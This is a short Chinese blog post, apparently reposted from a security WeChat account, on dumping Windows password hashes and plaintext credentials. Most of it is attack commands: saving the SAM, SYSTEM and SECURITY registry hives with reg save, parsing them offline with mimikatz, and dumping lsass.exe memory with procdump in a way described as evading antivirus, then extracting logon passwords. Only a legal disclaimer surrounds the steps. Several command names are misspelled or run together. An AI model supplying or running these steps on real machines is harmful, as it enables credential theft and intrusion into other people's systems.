本地抓取目的机hash密码
原创
小白鱼来了
小白鱼来了
Joker One Security
2026年1月3日 20:25
新加坡
在小说阅读器读本章
去阅读
*/\本文仅用于技术讨论与学习，利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者及本公众号不为此承担任何责任。\*/**
minikatz离线抓取
注册表导出
利用下面的命令将注册表导出来
reg save hklm\\sam sam.hiv
reg save hklm\\system system.hiv
reg save HKLM\\SECURITY sercrity.hiv
执行后会在你运行位置的目录存放,比如：
然后将这两个文件与minikatz放在同一目录，执行以下命令
mimikatz.exe
lsadump::sam /sam:sam.hiv /system:system.hiv /sercrity:sercrity.hiv
dump lsass.exe 进程数据离线免杀抓取明文
32位机器：procdump.exe -accepteula -ma lsass.exe lsass.dmp 64位机器：procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
下载到本地利用minikatz进行解密
mimikatz.exesekurlsa::minidump lsass.dmpsekurlsa::logonPasswords full
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论